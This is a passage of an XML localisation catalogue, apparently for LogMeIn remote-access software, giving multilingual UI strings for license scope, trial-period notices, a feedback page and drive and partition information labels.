<es>Esta licencia es válida para %LICENSE.COUNT ordenadores.</es>
<fr>Cette licence est valable pour %LICENSE.COUNT machines</fr>
<it>Questa licenza è valida per %LICENSE.COUNT computer.</it>
<ru>Эта лицензия действительна для %LICENSE.COUNT компьютеров.</ru>
<ja>このライセンスは、 %LICENSE.COUNT 台のコンピュータに有効です。</ja>
<zh>此许可证对 %LICENSE.COUNT 计算机有效。</zh>
<ko>이 라이센스는 %LICENSE.COUNT 컴퓨터에서 유효합니다.</ko>
<en-gb>This licence is valid for %LICENSE.COUNT computers.</en-gb>
<hu>Ez a licensz %LICENSE.COUNT számítógépre érvényes.</hu>
<pt-br>Esta licença é válida para computadores %LICENSE.COUNT.</pt-br>
<nl>Deze licentie is geldig voor %LICENSE.COUNT computers.</nl>
</msg>
<msg name="CITY">
<en>This license is valid for use on computers located in %LICENSE.SCOPE.</en>
<de>Diese Lizenz ist gültig zur Benutzung auf Computern mit Standort in %LICENSE.SCOPE.</de>
<es>Esta licencia es válida para usarla en ordenadores ubicados en %LICENSE.SCOPE.</es>
<fr>Cette licence est valable pour des machnies localisée en %LICENSE.SCOPE.</fr>
<it>Questa licenza è valida per l'utilizzo su computer che si trovano in %LICENSE.SCOPE.</it>
<ru>Эта лицензия действительна для использования на компьютерах, расположенных в %LICENSE.SCOPE.</ru>
<ja>このライセンスは、%LICENSE.SCOPE にあるコンピュータでの使用を許可します。</ja>
<zh>在位于 %LICENSE.SCOPE 的计算机上可以使用此许可证。</zh>
<ko>이 라이센스는 %LICENSE.SCOPE의 컴퓨터에서 사용할 수 있습니다.</ko>
<en-gb>This licence is valid for use on computers located in %LICENSE.SCOPE.</en-gb>
<hu>Ez a licensz csak a %LICENSE.SCOPE helyen található számítógépekre érvényes.</hu>
<pt-br>Esta licença é válida para uso em computadores localizados em %LICENSE.SCOPE.</pt-br>
<nl>Deze licentie is geldig voor het gebruik op computers die zich bevinden in %LICENSE.SCOPE.</nl>
</msg>
<msg name="COUNTRY">
<en>This license is valid for use on computers located in %LICENSE.SCOPE.</en>
<de>Diese Lizenz ist gültig zur Benutzung auf Computern mit Standort in %LICENSE.SCOPE.</de>
<es>Esta licencia es válida para usarla en ordenadores ubicados en %LICENSE.SCOPE.</es>
<fr>Cette licence est valable pour des machnies localisée en %LICENSE.SCOPE.</fr>
<it>Questa licenza è valida per l'utilizzo su computer che si trovano in %LICENSE.SCOPE.</it>
<ru>Эта лицензия действительна для использования на компьютерах, расположенных в %LICENSE.SCOPE.</ru>
<ja>このライセンスは、%LICENSE.SCOPE にあるコンピュータでの使用を許可します。</ja>
<zh>在位于 %LICENSE.SCOPE 的计算机上可以使用此许可证。</zh>
<ko>이 라이센스는 %LICENSE.SCOPE의 컴퓨터에서 사용할 수 있습니다.</ko>
<en-gb>This licence is valid for use on computers located in %LICENSE.SCOPE.</en-gb>
<hu>Ez a licensz csak a %LICENSE.SCOPE helyen található számítógépekre érvényes.</hu>
<pt-br>Esta licença é válida para uso em computadores localizados em %LICENSE.SCOPE.</pt-br>
<nl>Deze licentie is geldig voor het gebruik op computers die zich bevinden in %LICENSE.SCOPE.</nl>
</msg>
<msg name="EU">
<en>This license is valid for use on computers located in countries of the European Union.</en>
<de>Diese Lizenz berechtigt zur Installation auf Computern, deren Standort innerhalb der
Grenzen der Europäischen Gemeinschaft liegt.</de>
<es>Esta licencia es válida para usarla en ordenadores ubicados en países de la Unión Europea.</es>
<fr>Cette licence est valable pour des machnies localisée dans l'Union européenne.</fr>
<it>Questa licenza è valida per l'utilizzo su computer che si trovano in paesi dell'Unione Europea.</it>
<ru>Эта лицензия действительна для использования на компьютерах, расположенных в странах Европейского союза.</ru>
<ja>このライセンスは、EU (欧州連合) 各国にあるコンピュータでの使用を許可します。</ja>
<zh>在位于欧洲联盟国家(地区)的计算机上可以使用此许可证。</zh>
<ko>이 라이센스는 EU 국가의 컴퓨터에서 사용할 수 있습니다.</ko>
<en-gb>This licence is valid for use on computers located in countries of the European Union.</en-gb>
<hu>Ez a licensz csak az Európai Unió országaiban található számítógépekre érvényes.</hu>
<pt-br>Esta licença é válida para uso em computadores localizados em países da União Européia.</pt-br>
<nl>Deze licentie is geldig voor het gebruik op computers die zich bevinden in de landen van de Europese Unie.</nl>
</msg>
<msg name="WORLD">
<en>This is an unlimited license.</en>
<de>Dies ist eine unlimitierte Lizenz.</de>
<es>Ésta es una licencia ilimitada.</es>
<fr>Cette licence est illimitée.</fr>
<it>Licenza illimitata.</it>
<ru>Это неограниченная лицензия.</ru>
<ja>これは、無制限ライセンスです。</ja>
<zh>此许可证为无限制许可证。</zh>
<ko>이것은 무제한 라이센스입니다.</ko>
<en-gb>This is an unlimited licence.</en-gb>
<hu>Ez egy korlátozás nélküli licensz.</hu>
<pt-br>Esta licença é ilimitada.</pt-br>
<nl>Dit is een licentie zonder beperkingen.</nl>
</msg>
<msg name="ID">
<en>The license ID is</en>
<de>Die Lizenz-ID ist</de>
<es>La ID de licencia es</es>
<fr>L'ID licence est</fr>
<it>ID licenza:</it>
<ru>Идентификатор лицензии -</ru>
<ja>ライセンス ID は以下のとおりです。</ja>
<zh>许可证 ID 为</zh>
<ko>라이센스 ID</ko>
<en-gb>The licence ID is</en-gb>
<hu>A licenszazonosító</hu>
<pt-br>O ID desta licença está</pt-br>
<nl>De licentie-ID is</nl>
</msg>
<msg name="RAWORK">
<en>Running since %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for), sent %RAWORK.SENT_szk in response to %RAWORK.REQUESTS client requests.</en>
<de>Läuft seit %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for), versendet %RAWORK.SENT_szk auf  %RAWORK.REQUESTS Client-Anfragen.</de>
<es>En funcionamiento desde %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for), enviado %RAWORK.SENT_szk en respuesta a %RAWORK.REQUESTS peticiones del cliente.</es>
<fr>Fonctionne depuis %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for), envoyé %RAWORK.SENT_szk en réponse à %RAWORK.REQUESTS requêtes-client.</fr>
<it>In esecuzione da %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for), invio di %RAWORK.SENT_szk eseguito in risposta alle richieste %RAWORK.REQUESTS del client.</it>
<ru>Работает с %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for), отправлено %RAWORK.SENT_szk в ответ на %RAWORK.REQUESTS клиентских запросов.</ru>
<ja>実行開始 %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for)、%RAWORK.REQUESTS クライアント要求に対して %RAWORK.SENT_szk を送信。</ja>
<zh>自 %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for) 开始运行,发送 %RAWORK.SENT_szk 以响应 %RAWORK.REQUESTS 客户端请求。</zh>
<ko>%RAWORK.REQUESTS 클라이언트 요청에 따라 %RAWORK.SENT_szk을(를) 전송하여 %RAWORK.UPSINCE_dtml(%RAWORK.UPSINCE_for)부터 실행 중입니다.</ko>
<en-gb>Running since %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for), sent %RAWORK.SENT_szk in response to %RAWORK.REQUESTS client requests.</en-gb>
<hu>Fut %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for) óta, küldte %RAWORK.SENT_szk a %RAWORK.REQUESTS ügyféligénylésre válaszként.</hu>
<pt-br>sendo executado desde %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for), enviado em resposta às solicitações do cliente %RAWORK.REQUESTS.</pt-br>
<nl>Gestart vanaf %RAWORK.UPSINCE_dtml (%RAWORK.UPSINCE_for), %RAWORK.SENT_szk verzonden als antwoord op %RAWORK.REQUESTS verzoeken van de client.</nl>
</msg>
</cat>
<!-- trial license splash screen messages -->
<cat name="TRIAL">
<msg name="TITLE">
<en>%PRODUCTNAME Evaluation - %LICENSE.TRIALDAYSLEFT days left</en>
<de>Noch %LICENSE.TRIALDAYSLEFT Tage Zeit für die Evaluierung von %PRODUCTNAME</de>
<es>Evaluación de %PRODUCTNAME: le quedan %LICENSE.TRIALDAYSLEFT días de prueba.</es>
<fr>Evaluation de %PRODUCTNAME - Il reste %LICENSE.TRIALDAYSLEFT d'évaluation.</fr>
<it>Versione di prova di %PRODUCTNAME - %LICENSE.TRIALDAYSLEFT giorni restanti</it>
<ru>Оценочная версия %PRODUCTNAME - осталось %LICENSE.TRIALDAYSLEFT дней</ru>
<ja>%PRODUCTNAME の評価 – あと %LICENSE.TRIALDAYSLEFT 日です。</ja>
<zh>%PRODUCTNAME 试用 - 还剩 %LICENSE.TRIALDAYSLEFT 天</zh>
<ko>%PRODUCTNAME 평가판 사용 기간이 %LICENSE.TRIALDAYSLEFT일 남았음</ko>
<en-gb>%PRODUCTNAME Evaluation - %LICENSE.TRIALDAYSLEFT days left</en-gb>
<hu>%PRODUCTNAME Próbaverzió - %LICENSE.TRIALDAYSLEFT nap van hátra</hu>
<pt-br>Avaliação do %PRODUCTNAME  - Dias restantes para %LICENSE.TRIALDAYSLEFT</pt-br>
<nl>%PRODUCTNAME Evaluatie - %LICENSE.TRIALDAYSLEFT dagen resterend</nl>
</msg>
<msg name="INTRO">
<en>%PRODUCTNAME can be evaluated for %LICENSE.TRIALDAYS days. After this
trial period you must purchase or delete %PRODUCTNAME from your computer.</en>
<de>%PRODUCTNAME kann %LICENSE.TRIALDAYS Tage evaluiert werden. Am Ende dieses
Zeitraumes müssen Sie alle Instanzen und Teile von %PRODUCTNAME löschen, sofern
Sie das Produkt nicht erwerben.</de>
<es>%PRODUCTNAME puede probarse durante %LICENSE.TRIALDAYS días. Después de este
período de prueba, deberá comprar o eliminar %PRODUCTNAME de su ordenador.</es>
<fr>%PRODUCTNAME peut être évalué pendant %LICENSE.TRIALDAYS jours. Après cette 
période d'essai vous devez acheter ou supprimer %PRODUCTNAME
sur votre ordinateur.</fr>
<it>La versione di prova di %PRODUCTNAME è valida per %LICENSE.TRIALDAYS giorni. Al termine del periodo di prova, è possibile acquistare o cancellare %PRODUCTNAME dal computer.</it>
<ru>Оценочная версия %PRODUCTNAME может использоваться %LICENSE.TRIALDAYS дней. После истечения данного периода оценки необходимо приобрести %PRODUCTNAME или удалить его со своего компьютера.</ru>
<ja>%PRODUCTNAME は、あと %LICENSE.TRIALDAYS 日間評価できます。この試用期間終了後は、%PRODUCTNAME を購入するか、コンピュータから %PRODUCTNAME を削除する必要があります。</ja>
<zh>%PRODUCTNAME 可以试用 %LICENSE.TRIALDAYS 天。试用期后,您必须购买 %PRODUCTNAME 或将其从您的计算机上删除。</zh>
<ko>%PRODUCTNAME 평가 기간은 %LICENSE.TRIALDAYS일입니다. 평가 기간이 끝나면 %PRODUCTNAME을(를) 구입하거나 컴퓨터에서 삭제해야 합니다.</ko>
<en-gb>%PRODUCTNAME can be evaluated for %LICENSE.TRIALDAYS days. After this trial period you must purchase or delete %PRODUCTNAME from your computer.</en-gb>
<hu>A %PRODUCTNAME terméket %LICENSE.TRIALDAYS napon át lehet kipróbálni. Ez után a
próbaidőszak után meg kell vásárolnia a %PRODUCTNAME terméket, vagy törölnie kell azt a számítógépéről.</hu>
<pt-br>O %PRODUCTNAME pode ser avaliado %LICENSE.TRIALDAYS dias. Depois desse
período de avaliação, é necessário adquirir ou excluir o %PRODUCTNAME do computador.</pt-br>
<nl>%PRODUCTNAME kunt u gedurende %LICENSE.TRIALDAYS dagen ter evaluatie uitproberen. Na deze proefperiode moet u %PRODUCTNAME kopen of van uw computer verwijderen.</nl>
</msg>
<msg name="COUNT">
<en>You are on day %LICENSE.TRIALDAYSGONE of your %LICENSE.TRIALDAYS-day trial period.</en>
<de>Tag %LICENSE.TRIALDAYSGONE Ihrer %LICENSE.TRIALDAYS-tägigen Evaluierungsperiode.</de>
<es>Se encuentra en el día %LICENSE.TRIALDAYSGONE de sus %LICENSE.TRIALDAYS-day días de prueba.</es>
<fr>%LICENSE.TRIALDAYSGONE jours sur %LICENSE.TRIALDAYS ont été utilsé dans la période d'essai.</fr>
<it>Giorno %LICENSE.TRIALDAYSGONE del periodo di prova di %LICENSE.TRIALDAYS giorni.</it>
<ru>Идет %LICENSE.TRIALDAYSGONE день периода оценки длительностью %LICENSE.TRIALDAYS дней.</ru>
<ja>今日は、%LICENSE.TRIALDAYS-day 日の試用期間の %LICENSE.TRIALDAYSGONE 日目です。</ja>
<zh>您已试用了 %LICENSE.TRIALDAYSGONE 天(试用期为 %LICENSE.TRIALDAYS 天)。</zh>
<ko>%LICENSE.TRIALDAYS일의 평가 기간 중 %LICENSE.TRIALDAYSGONE일째입니다.</ko>
<en-gb>You are on day %LICENSE.TRIALDAYSGONE of your %LICENSE.TRIALDAYS-day trial period.</en-gb>
<hu>Ön a %LICENSE.TRIALDAYS napos próbaidőszak %LICENSE.TRIALDAYSGONE. napján van.</hu>
<pt-br>Você está no dia %LICENSE.TRIALDAYSGONE do seu período de %LICENSE.TRIALDAYS dias de avaliação.</pt-br>
<nl>Dit is dag %LICENSE.TRIALDAYSGONE van uw proefperiode van %LICENSE.TRIALDAYS-day  dagen.</nl>
</msg>
</cat>
<!-- feedback page messages -->
<cat name="FEEDBACK">
<msg name="TITLE">
<en>Feedback</en>
<de>Feedback</de>
<es>Comentarios</es>
<fr>Feed-back</fr>
<it>Commenti e suggerimenti</it>
<ru>Обратная связь</ru>
<ja>フィードバック</ja>
<zh>反馈</zh>
<ko>피드백</ko>
<en-gb>Feedback</en-gb>
<hu>Visszajelzés</hu>
<pt-br>Feedback</pt-br>
<nl>Feedback</nl>
</msg>
<msg name="ONLINE.DESC">
<en>If you have a question or comment about LogMeIn, please contact us.</en>
<de>Wenn sie Fragen oder Kommentare zu LogMeIn habe, kontaktieren sie uns bitte.</de>
<es>Si tiene alguna pregunta o comentario acerca de LogMeIn, póngase en contacto con nosotros.</es>
<fr>Si vous avez une question ou commentez au sujet de LogMeIn, svp contactez-nous.</fr>
<it>Gli utenti possono contattarci per domande o commenti su LogMeIn.</it>
<ru>Обращайтесь к нам, если имеются вопросы или комментарии в отношении продукта LogMeIn.</ru>
<ja>LogMeIn に関するご質問またはご意見がある場合は、お問い合わせください。</ja>
<zh>如果您有关于 LogMeIn 的问题或意见,请联系我们。</zh>
<ko>LogMeIn에 대한 질문 또는 의견이 있으면 당사에 연락하십시오.</ko>
<en-gb>If you have a question or comment about LogMeIn, please contact us.</en-gb>
<hu>Amennyiben kérdése vagy megjegyzése van a LogMeIn-nel kapcsolatban, kérjük, vegye fel velünk a kapcsolatot.</hu>
<pt-br>Se você tiver uma dúvida ou comentário sobre o LogMeIn, entre em contato conosco.</pt-br>
<nl>Als u een vraag of opmerkingen over LogMeIn hebt, kunt u contact opnemen met ons.</nl>
</msg>
<msg name="OFFLINE.DESC">
<en>Using %WEBSVC.NAME support page (you are not connected to %WEBSVC.NAME web gateway service)</en>
<de>%WEBSVC.NAME Support-Seite (sie sind nicht mit dem %WEBSVC.NAME Web Gateway Service verbunden)</de>
<es>A través de la página de asistencia de %WEBSVC.NAME (no está conectado al servicio gateway de la web %WEBSVC.NAME)</es>
<fr>Utilisation de %WEBSVC.NAME (vous n'êtes pas relié à la passerelle web %WEBSVC.NAME)</fr>
<it>Utilizzo della pagina di supporto %WEBSVC.NAME (senza connessione al servizio di gateway Web %WEBSVC.NAME)</it>
<ru>С помощью страницы поддержки %WEBSVC.NAME (данный компьютер не подключен к службе веб-шлюза %WEBSVC.NAME)</ru>
<ja>%WEBSVC.NAME サポート ページを使用しています (%WEBSVC.NAME Web ゲートウェイ サービスには現在接続されていません)</ja>
<zh>正在使用 %WEBSVC.NAME 支持页面(但未连接至 %WEBSVC.NAME Web 网关服务)</zh>
<ko>%WEBSVC.NAME 지원 페이지 사용(%WEBSVC.NAME 웹 게이트웨이 서비스에 연결되지 않음)</ko>
<en-gb>Using %WEBSVC.NAME support page (you are not connected to %WEBSVC.NAME web gateway service)</en-gb>
<hu>%WEBSVC.NAME támogató oldal használata (Ön nincs csatlakoztatva a %WEBSVC.NAME webátjáró szolgáltatáshoz)</hu>
<pt-br>Usando a página de suporte %WEBSVC.NAME (você não está conectado ao serviço de gateway da web %WEBSVC.NAME)</pt-br>
<nl>Via de supportwebpagina van %WEBSVC.NAME  (u bent niet verbonden met de webgatewayservice van %WEBSVC.NAME )</nl>
</msg>
<msg name="MESSAGE.HEAD">
<en>We welcome your comments and suggestions to make %PRODUCTNAME better. To submit your views, please enter your message below and click OK.</en>
<de>Wir freuen uns über Kommentare und Vorschläge, um %PRODUCTNAME zu verbessern. Geben Sie bitte ihre Nachricht ein und klicken Sie OK.</de>
<es>Estamos encantados de recibir sus comentarios y sugerencias para mejorar %PRODUCTNAME. Para enviar sus opiniones, escriba su mensaje a continuación y haga clic en Aceptar.</es>
<fr>Nous faisons bon accueil à vos commentaires et suggestions pour rendre %PRODUCTNAME encore plus efficace. Ecrivez svp votre message ci-dessous et cliquez OK.</fr>
<it>I tuoi commenti e suggerimenti consentono di migliorare %PRODUCTNAME. Per inviare le viste, immettere di seguito il proprio messaggio e fare clic su OK.</it>
<ru>Приветствуются комментарии и предложения, направленные на улучшение продукта %PRODUCTNAME. Чтобы представит свое мнение, введите ниже сообщение и щелкните OK.</ru>
<ja>%PRODUCTNAME に関するご意見、ご要望をお寄せください。今後の参考とさせていただきます。ご意見を投稿される場合は、以下にメッセージを入力し [OK] をクリックしてください。</ja>
<zh>我们欢迎您就 %PRODUCTNAME 提出意见和建议以使其更加完善。要提交您的意见,请在下面输入信息,并单击“确定”。</zh>
<ko>%PRODUCTNAME의 개선을 위해 여러분의 의견 및 제안을 환영합니다. 의견을 보내려면 아래에 메시지를 입력한 후 '확인'을 클릭하십시오.</ko>
<en-gb>We welcome your comments and suggestions to make %PRODUCTNAME better. To submit your views, please enter your message below and click OK.</en-gb>
<hu>Örömmel fogadjuk megjegyzéseit és javaslatait, hogy a %PRODUCTNAME terméket jobbá tegyük. Szempontjainak elküldéséhez írja be alább az üzenetét és kattintson az OK gombra.</hu>
<pt-br>Suas sugestões e seus comentários são bem-vindos para aprimorar o %PRODUCTNAME. Para enviar seus pontos de vista, digite sua mensagem abaixo e clique em OK.</pt-br>
<nl>Wij kijken uit naar uw opmerkingen en suggesties zodat we %PRODUCTNAME kunnen verbeteren. Als u uw ideeën en suggesties wilt verzenden, voert u hieronder de tekst van uw bericht in en klikt u op OK.</nl>
</msg>
<msg name="MESSAGE.LINK">
<en>For customer support, click here.</en>
<de>Für Support klicken sie hier.</de>
<es>Para obtener asistencia técnica al cliente, haga clic aquí.</es>
<fr>Pour le support à la clientèle, cliquez ici.</fr>
<it>Per il supporto clienti, fare clic qui.</it>
<ru>Чтобы воспользоваться службой поддержки пользователей, щелкните здесь.</ru>
<ja>カスタマ サポートにアクセスするには、ここをクリックしてください。</ja>
<zh>要获得客户支持,请单击此处。</zh>
<ko>고객 지원에 대한 내용을 보려면 여기를 클릭하십시오.</ko>
<en-gb>For customer support, click here.</en-gb>
<hu>Az ügyféltámogatáshoz kattintson ide.</hu>
<pt-br>Para obter suporte do cliente, clique aqui.</pt-br>
<nl>Klik hier als u contact wilt opnemen met de afdeling Klantensupport.</nl>
</msg>
<msg name="LIMIT">
<en>Note that the message cannot be longer than %FEEDBACK.MAXLENGTH characters.</en>
<de>Beachten sie bitte, dass die Nachricht nicht länger als %FEEDBACK.MAXLENGTH Zeichen sein kann.</de>
<es>Tenga en cuenta que el mensaje no puede tener más de %FEEDBACK.MAXLENGTH caracteres.</es>
<fr>Notez que le message ne peut pas posséder plus de %FEEDBACK.MAXLENGTH caractères.</fr>
<it>Il messaggio non può essere composto da più di %FEEDBACK.MAXLENGTH caratteri.</it>
<ru>Обратите внимание, что длина такого сообщения не может превышать %FEEDBACK.MAXLENGTH символов.</ru>
<ja>入力できるメッセージは %FEEDBACK.MAXLENGTH 文字までです。</ja>
<zh>请注意,信息不能超过 %FEEDBACK.MAXLENGTH 个字符。</zh>
<ko>메시지는 %FEEDBACK.MAXLENGTH자를 초과할 수 없습니다.</ko>
<en-gb>Please note that the message cannot be longer than %FEEDBACK.MAXLENGTH characters.</en-gb>
<hu>Ne feledje, hogy az üzenet nem lehet hosszabb %FEEDBACK.MAXLENGTH karakternél.</hu>
<pt-br>A mensagem não pode ter mais de %FEEDBACK.MAXLENGTH caracteres.</pt-br>
<nl>Denk eraan dat de tekst van uw bericht niet meer dan %FEEDBACK.MAXLENGTH tekens mag bevatten.</nl>
</msg>
<msg name="EMPTY.WARN">
<en>Please enter your message.</en>
<de>Geben sie bitte ihre Nachricht ein.</de>
<es>Escriba su mensaje.</es>
<fr>Veuillez écrire votre message.</fr>
<it>Immettere il messaggio.</it>
<ru>Введите свое сообщение.</ru>
<ja>メッセージを入力してください。</ja>
<zh>请输入信息。</zh>
<ko>메시지를 입력하십시오.</ko>
<en-gb>Please enter your message.</en-gb>
<hu>Kérjük, írja be üzenetét.</hu>
<pt-br>Digite a mensagem.</pt-br>
<nl>Voer hier uw bericht in.</nl>
</msg>
<msg name="LIMIT.WARN">
<en>Message size cannot exceed %FEEDBACK.MAXLENGTH characters. Your input has been truncated!</en>
<de>Die Größe der Nachricht kann %FEEDBACK.MAXLENGTH Zeichen nicht überschreiten. Ihre Eingabe wurde gekürzt!</de>
<es>El mensaje no puede tener más de %FEEDBACK.MAXLENGTH caracteres. El texto ha sido truncado.</es>
<fr>La taille du message ne peut pas excéder %FEEDBACK.MAXLENGTH caractères. Votre entrée a été tronquée !</fr>
<it>La lunghezza del messaggio non può superare %FEEDBACK.MAXLENGTH caratteri. Il messaggio immesso è stato troncato.</it>
<ru>Размер сообщения не может превышать %FEEDBACK.MAXLENGTH символов. Вводимое сообщение было обрезано!</ru>
<ja>メッセージの長さは %FEEDBACK.MAXLENGTH 文字までです。入力した文字は切り捨てられました。</ja>
<zh>信息大小不能超过 %FEEDBACK.MAXLENGTH 个字符。您的输入已被截断!</zh>
<ko>메시지 크기는 %FEEDBACK.MAXLENGTH자를 초과할 수 없습니다. 입력한 텍스트가 잘렸습니다!</ko>
<en-gb>Message size cannot exceed %FEEDBACK.MAXLENGTH characters. Your input has been truncated!</en-gb>
<hu>Az üzenet mérete nem haladhatja meg a %FEEDBACK.MAXLENGTH karaktert. A program csonkolta beírt szövegét!</hu>
<pt-br>O tamanho da mensagem não pode ter mais de %FEEDBACK.MAXLENGTH caracteres. Sua entrada foi truncada!</pt-br>
<nl>De tekst van het bericht mag niet meer dan %FEEDBACK.MAXLENGTH tekens bevatten. De door u ingevoerde tekst werd verkort!</nl>
</msg>
<msg name="THANKYOU">
<en>Thank you for contacting us.</en>
<de>Vielen Dank.</de>
<es>Gracias por ponerse en contacto con nosotros.</es>
<fr>Merci de nous avoir contacté.</fr>
<it>Grazie per averci contattato.</it>
<ru>Спасибо за то, что обратились к нам.</ru>
<ja>お問い合わせありがとうございます。</ja>
<zh>感谢您与我们联系。</zh>
<ko>연락해 주셔서 감사합니다.</ko>
<en-gb>Thank you for contacting us.</en-gb>
<hu>Köszönjük, hogy felkeresett minket.</hu>
<pt-br>Obrigado por entrar em contato conosco.</pt-br>
<nl>Hartelijk dank dat u contact met ons hebt opgenomen.</nl>
</msg>
</cat>
<!-- "drives and partitions information" messages -->
<cat name="DRIVE">
<msg name="TITLE">
<en>Drive &amp; Partition Info</en>
<de>Laufwerke &amp; Partitionen</de>
<es>Info. Unidad &amp; Partición</es>
<fr>Information Disques &amp; Partitions</fr>
<it>Informazioni su unità e partizioni</it>
<ru>Информация о дисках и разделах</ru>
<ja>ドライブ &amp; パーティション情報</ja>
<zh>驱动器与分区信息</zh>
<ko>드라이브 &amp; 파티션 정보</ko>
<en-gb>Drive &amp; Partition Info</en-gb>
<hu>Meghajtó- és partíció-információ</hu>
<pt-br>Informações da unidade &amp; da partição</pt-br>
<nl>Schijfstation- &amp; partitiegegevens</nl>
</msg>
<msg name="PHYSIC">
<en>Physical Drives and Partitions</en>
<de>Physikal. Laufwerke und Partitionen</de>
<es>Unidades físicas y particiones</es>
<fr>Volumes physiques et Partitions</fr>
<it>Unità e partizioni fisiche</it>
<ru>Физические диски и разделы</ru>
<ja>物理ドライブとパーティション</ja>
<zh>物理驱动器和分区</zh>
<ko>실제 드라이브 및 파티션</ko>
<en-gb>Physical Drives and Partitions</en-gb>
<hu>Fizikai meghajtók és partíciók</hu>
<pt-br>Partições e unidades físicas</pt-br>
<nl>Fysieke schijfstations en partities</nl>
</msg>
<msg name="LOGIC">
<en>Logical Drives</en>
<de>Logische Laufwerke</de>
<es>Unidades lógicas</es>
<fr>Volumes logiques</fr>
<it>Unità logiche</it>
<ru>Логические диски</ru>
<ja>論理ドライブ</ja>
<zh>逻辑驱动器</zh>
<ko>논리 드라이브</ko>
<en-gb>Logical Drives</en-gb>
<hu>Logikai meghajtók</hu>
<pt-br>Unidades lógicas</pt-br>
<nl>Logische stations</nl>
</msg>
<msg name="DRIVE">
<en>Drive</en>
<de>Laufwerk</de>
<es>Unidad</es>
<fr>Volume</fr>
<it>Unità</it>
<ru>Диск</ru>
<ja>ドライブ</ja>
<zh>驱动器</zh>
<ko>드라이브</ko>
<en-gb>Drive</en-gb>
<hu>Meghajtó</hu>
<pt-br>Unidade</pt-br>
<nl>Schijfstation</nl>
</msg>
<msg name="SIGNATURE">
<en>Signature</en>
<de>Signatur</de>
<es>Firma</es>
<fr>Signature</fr>
<it>Firma</it>
<ru>Сигнатура</ru>
<ja>署名</ja>
<zh>签名</zh>
<ko>서명</ko>
<en-gb>Signature</en-gb>
<hu>Aláírás</hu>
<pt-br>Assinatura</pt-br>
<nl>Handtekening</nl>
</msg>
<msg name="SCSIContr">
<en>SCSI Controller</en>
<de>SCSI Controller</de>
<es>Controladora SCSI</es>
<fr>Contrôleur SCSI</fr>
<it>Controller SCSI</it>
<ru>SCSI-контроллер</ru>
<ja>SCSI コントローラ</ja>
<zh>SCSI 控制器</zh>
<ko>SCSI 컨트롤러</ko>
<en-gb>SCSI Controller</en-gb>
<hu>SCSI vezérlő</hu>
<pt-br>Controlador SCSI</pt-br>
<nl>SCSI-controller</nl>
</msg>
<msg name="BUS">
<en>Bus</en>
<de>Bus</de>
<es>Bus</es>
<fr>Bus</fr>
<it>Bus</it>
<ru>Шина</ru>
<ja>バス</ja>
<zh>总线</zh>
<ko>버스</ko>
<en-gb>Bus</en-gb>
<hu>Busz</hu>
<pt-br>Barramento</pt-br>
<nl>Bus</nl>
</msg>
<msg name="ID">
<en>ID</en>
<de>ID</de>
<es>ID</es>
<fr>ID</fr>
<it>ID</it>
<ru>Идентификатор</ru>
<ja>ID</ja>
<zh>ID</zh>
<ko>ID</ko>
<en-gb>ID</en-gb>
<hu>azonosító</hu>
<pt-br>ID</pt-br>
<nl>ID</nl>
</msg>
<msg name="LUN">
<en>LUN</en>
<de>LUN</de>
<es>LUN</es>
<fr>LUN</fr>
<it>LUN</it>
<ru>LUN</ru>
<ja>LUN</ja>
<zh>LUN</zh>
<ko>LUN</ko>
<en-gb>LUN</en-gb>
<hu>Logikai egység száma</hu>
<pt-br>LUN</pt-br>
<nl>LUN-nr.</nl>
</msg>
<msg name="NUMBER">
<en>Number</en>
<de>Nummer</de>
<es>Número</es>
<fr>Nombre</fr>
<it>Numero</it>
<ru>Номер</ru>
<ja>数</ja>
<zh>编号</zh>
<ko>번호</ko>
<en-gb>Number</en-gb>
<hu>Szám</hu>
<pt-br>Número</pt-br>
<nl>Aantal</nl>
</msg>
<msg name="OFFSET">
<en>Offset</en>
<de>Offset</de>
<es>Desfase</es>
<fr>Offset</fr>
<it>Offset</it>
<ru>Смещение</ru>
<ja>オフセット</ja>
<zh>偏移</zh>
<ko>오프셋</ko>
<en-gb>Offset</en-gb>
<hu>Offszet</hu>
<pt-br>Deslocamento</pt-br>
<nl>Offset</nl>
</msg>
<msg name="BOOTABLE">
<en>Bootable</en>
<de>Bootfähig</de>
<es>Arrancable</es>
<fr>Disque de redémarrage</fr>
<it>Avviabile</it>
<ru>Загрузочный</ru>
<ja>ブート可能</ja>
<zh>可引导</zh>
<ko>부팅 가능</ko>
<en-gb>Bootable</en-gb>
<hu>Rendszerindító</hu>
<pt-br>Inicializável</pt-br>
<nl>Opstartbaar</nl>
</msg>
<msg name="Volume">
<en>Volume</en>
<de>Volume</de>
<es>Volumen</es>
<fr>Volume</fr>
<it>Volume</it>
<ru>Том</ru>
<ja>ボリューム</ja>
<zh>卷</zh>
<ko>볼륨</ko>
<en-gb>Volume</en-gb>
<hu>Kötet</hu>
<pt-br>Volume</pt-br>
<nl>Station</nl>
</msg>
<msg name="FSYS">
<en>File System</en>
<de>Dateisystem</de>
<es>Sistema de archivos</es>
<fr>File System</fr>
<it>File system</it>
<ru>Файловая система</ru>
<ja>ファイル システム</ja>
<zh>文件系统</zh>
<ko>파일 시스템</ko>
<en-gb>File System</en-gb>
<hu>Fájlrendszer</hu>
<pt-br>Sistema de arquivo</pt-br>
<nl>Bestandssysteem</nl>
</msg>
<msg name="MOUNTED">
<en>Mounted</en>
<de>Kennung</de>
<es>Montado</es>
<fr>Installé</fr>
<it>Installato</it>
<ru>Установлен</ru>
<ja>マウント済み</ja>
<zh>已装入</zh>
<ko>장착됨</ko>
<en-gb>Mounted</en-gb>
<hu>Csatlakoztatva</hu>
<pt-br>Montado</pt-br>
<nl>Gekoppeld</nl>
</msg>
<msg name="ON">
<en>On Physical Drive</en>
<de>Auf phys. Laufwerk</de>
<es>En unidad física</es>
<fr>Sur volume physique</fr>
<it>Su unità fisica</it>
<ru>На физическом диске</ru>
<ja>物理ドライブ上</ja>
<zh>在物理驱动器上</zh>
<ko>실제 드라이브</ko>
<en-gb>On Physical Drive</en-gb>
<hu>Fizikai meghajtón</hu>
